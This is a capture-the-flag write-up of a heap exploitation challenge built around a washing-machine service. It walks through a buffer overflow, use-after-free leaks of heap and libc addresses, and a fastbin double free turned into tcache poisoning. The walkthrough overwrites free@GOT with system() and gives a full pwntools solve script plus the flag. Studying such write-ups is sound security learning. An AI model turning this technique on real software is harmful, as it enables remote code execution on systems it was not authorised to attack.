Introduction#
This is a challenge from bhackari CTF 2026, in which @Lupo and I managed to get first blood.

We’re given a C binary running a washing machine service where we can add clothes to a basket, clean them, or pay a little extra for an “extra clean” cycle.
A quick disclaimer: this challenge is fairly straightforward if you’re already familiar with fastbin dup, a well-known heap exploitation technique.
If you are, I hope you’ll still enjoy the writeup. If you’re not, well, you’re about to learn a pretty fun way to trick the allocator. :)
Overview#
The binary gives us a pretty simple menu:
1. Add clothing to the basket
2. Clean your clothes
3. Extra clean your clothes
4. Exit
We can add up to 10 clothes, each with a user-controlled size between 1 and 0x500 bytes. Cleaning costs 50 coins per item, while extra cleaning costs 100.
Each clothing item is stored using two heap allocations. Here’s a simplified version of the relevant code:
typedef struct {
char *description;
int size;
} Clothing;
void add(int size) {
Clothing *item = malloc(0x10);
item->size = size;
item->description = malloc(size);
read(0, item->description, size);
basket[basket_count++] = item;
}
Nothing unusual here. We have a 0x10-byte structure holding a pointer and a size, plus a separate allocation for the actual description.
Things get more interesting when we try to clean our clothes:
// clean()
free(description);
free(item);
write(1, description, size); // UAF
// extra_clean() - first pass
free(description);
write(1, description, size); // UAF
// extra_clean() - second pass
free(description); // Double free
free(item);
write(1, description, size); // UAF
I’ve removed the loops and checks, leaving only the relevant operations. Notice how extra_clean() goes through the selected clothes twice, freeing their descriptions in both passes.
This leaves us with two vulnerabilities:
- Use-after-free: both functions print the description after freeing it, allowing us to read heap metadata.
- Double-free:
extra_clean()frees the same description twice, which we’ll later abuse to perform a fastbin dup.
We already have everything we need to mess with the heap. Well, almost. Unfortunately, doing laundry isn’t free.
Unlimited Coins#
The program asks for our name before displaying the menu, and it turns out we can use that to solve our money problem.
Here’s a simplified representation of the global memory layout:
struct {
char player[0x20];
uint32_t coins;
} state;
fgets(state.player, 0x40, stdin);
See the issue? fgets() is called with a size of 0x40, even though player is only 0x20 bytes long, and the coins counter sits right after it.
Anything we write after the first 32 bytes will start overwriting the coins counter. In my case, I went with 0x39393939 simply because I liked the idea of sending 9999. :)
A Leaky Washing Machine#
Remember the UAF in clean()? Since the program prints our descriptions after freeing them, we can use it to leak the allocator’s metadata.
To do so, we can use a pretty standard heap leaking technique. We first allocate two descriptions of sizes 0x40 and 0x500, followed by a third chunk of arbitrary size acting as a guard. This prevents the larger chunk from being consolidated with the top chunk when freed.
Heap Leak#
When we free the first 0x40 chunk, it ends up in the tcache. However, instead of a regular pointer, we get a Safe-Linked one, since glibc uses the following formula to protect its freelist pointers:
stored_next = (chunk_addr >> 12) ^ next;
Since we’re deliberately freeing the first chunk into an empty tcache bin, next is NULL, leaving Safe-Linking to do nothing more than hand us the very value we need:
stored_next = chunk_addr >> 12;
Our UAF lets us read this value, and shifting it left by 12 bits gives us the heap base.
Libc Leak#
When we free the second 0x500 chunk, it’s too large for the default tcache bins, so it ends up in the unsorted bin.
Its fd and bk pointers reference main_arena inside libc. We can leak one of them through the same UAF and subtract the known offset to recover the libc base.
Now that we know where everything is, let’s break the allocator.
Fastbin Dup#
Now comes the part where we have to do magic things to get our shell.
First of all, since we already have some chunks lying around in the tcache, I allocate 9 more clothes to clear things up. This isn’t strictly necessary, but whenever I have arbitrary malloc() calls available, I tend to clean up the bins before doing anything interesting. Just a habit. :)
for _ in range(9):
add(64, b"A"*16)
Now, let’s talk about the double-free in extra_clean().
The problem is that tcache has its own double-free checks, which would simply abort the program if we tried to exploit it directly. So, we need to push our double-free into the fastbins instead.
To do that, we first have to fill the corresponding tcache bin. I chose a 0x50 chunk size, but any fastbin-eligible size would work just fine.
clean(7) # Fill the tcache
Since tcache can hold up to 7 chunks per bin by default, we’re now in a pretty good position:
pwndbg> bins
tcachebins
0x20 [7]: ...
0x50 [7]: ...
fastbins
empty
Time to trigger our double-free:
extra_clean(2)
Remember that extra_clean() frees the descriptions in two separate loops? With just two chunks, A and B, we end up with the following sequence:
free(A) -> free(B) -> free(A) -> free(B)
The fastbin double-free check only verifies that we’re not freeing the chunk currently at the head of the list. Since we alternate between A and B, the check never complains.
Here’s what we get:
pwndbg> bins
tcachebins
...
fastbins
0x20: 0x3b19e300 —▸ 0x3b19e830 ◂— 0
0x50: 0x3b19e2b0 —▸ 0x3b19e850 ◂— 0x3b19e2b0
Nice, we have a cycle in the 0x50 fastbin, using just two chunks!
Now we need to get those chunks back. First, we drain the tcache:
for _ in range(7):
add(64, b"A"*16)
Here’s where things get interesting. On the next allocation, malloc() takes a chunk from the fastbin and automatically moves the remaining chunks into the tcache.
Because of our cycle, this results in the same chunk being returned by malloc while still being referenced in the tcache.
And that’s exactly what we need to poison… its next pointer.
Tcache Poisoning#
Now, remember that add() performs two allocations: one for the clothing structure and another for its description.
When we call add() again, the second malloc() retrieves a chunk from the fastbin while moving the remaining ones into the tcache. Because of our cycle, we end up with something like this:
malloc(64) returns B
tcache 0x50:
A -> B -> A
Notice that B is both returned by malloc() and still referenced in the tcache. This means we can overwrite its next pointer through the description input.
Our target is free@GOT, and since Safe-Linking is still around, we just have to encode the pointer properly:
chunk_addr = heap_base + 0x320
payload = e.got["free"] ^ (chunk_addr >> 12)
add(64, p64(payload))
Here, chunk_addr lies on the same memory page as the chunk we’re poisoning, so the Safe-Linking key is the same.
Let’s see what happened:
pwndbg> bins
tcachebins
0x20 [1]: 0x3b19e840 ◂— 0
0x50 [3]: 0x3b19e860 —▸ 0x3b19e2c0 —▸ 0x404000 (free@got[plt])
fastbins
empty
And there it is! Our tcache now points directly to free@GOT.
All that’s left is to get an allocation there and overwrite it with system().
GOT Overwrite#
We’re almost there! Our poisoned tcache currently looks like this:
tcache 0x50 [3]:
A -> B -> free@GOT
We first need to get rid of the two chunks sitting in front of our target:
add(64, b"A"*16)
add(64, b"A"*16)
Now free@GOT is the only entry left in the tcache, ready to be returned by the next allocation.
But there’s a small problem: our basket is full. So, before we can allocate anything else, we need to clean up our clothes.
clean(10)
This frees all 10 clothing items, filling the 0x50 tcache bin with six regular chunks in front of our poisoned entry. The remaining frees end up in the fastbins.
We can now allocate six chunks, leaving free@GOT at the head of the tcache:
for _ in range(6):
add(64, b"/bin/sh")
Finally, the next allocation returns a pointer to free@GOT, which we can overwrite with system().
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"64")
r.sendafter(b"> ", p64(libc.address + 0x58740)) # system address
And that’s pretty much it. Since free() now points to system(), cleaning one of our /bin/sh descriptions will effectively call system("/bin/sh").
clean(2)
Looks like our washing machine can do more than just laundry. :)
Final exploit#
Putting everything together, the final script was:
Solve script
#!/usr/bin/env python3
from pwn import *
e = ELF("chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = e
# context.log_level = "debug"
gdbscript = """
"""
def conn():
if args.LOCAL:
r = process([e.path])
else:
r = remote("washy.challs.ctf.bhackari.it", 5001)
return r
def add(size, data):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(size).encode())
r.sendafter(b"> ", data.ljust(size, b"\x00"))
def clean(n):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(n).encode())
def extra_clean(n):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", str(n).encode())
def main():
global r
r = conn()
if args.DBG:
gdb.attach(r, gdbscript=gdbscript)
# coins overwrite
r.sendlineafter(b"?", b"A"*32 + b"9999")
# leak heap and libc
add(64, b"A"*32)
add(1280, b"A"*32)
add(64, b"A"*16)
clean(3)
r.recvuntil(b"clean!\n")
heap_base = (u64(r.recv(4).split(b"\x00", 1)[0].ljust(8, b"\x00")) << 12)
log.success(f"heap base: {hex(heap_base)}")
r.recvuntil(b"clean!\n")
libc.address = u64(r.recv(6).ljust(8, b"\x00")) - 0x203b20
log.success(f"libc base: {hex(libc.address)}")
# poison tcache
chunk_addr = (heap_base) + 0x320
log.success(f"Chunk addr: {hex(chunk_addr)}")
payload = e.got["free"]^(chunk_addr>>12)
log.success(f"payload: {hex(payload)}")
# clear tcache
for _ in range(9):
add(64, b"A"*16)
# fill tcache
clean(7)
# double free fastbin
extra_clean(2)
# clear tcache
for _ in range(7):
add(64, b"A"*16)
# poison chunk
add(64, p64(payload))
# fill again tcache
add(64, b"A"*16)
add(64, b"A"*16)
clean(10)
# set up chunks
for _ in range(6):
add(64, b"/bin/sh")
# overwrite free
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"64")
r.sendafter(b"> ", p64(libc.address + 0x58740))
# system("/bin/sh")
clean(2)
r.interactive()
if __name__ == "__main__":
main()
# bhackariCTF{3xtr4_cl34n?_m0r3_l1k3_3xtr4_d1rty}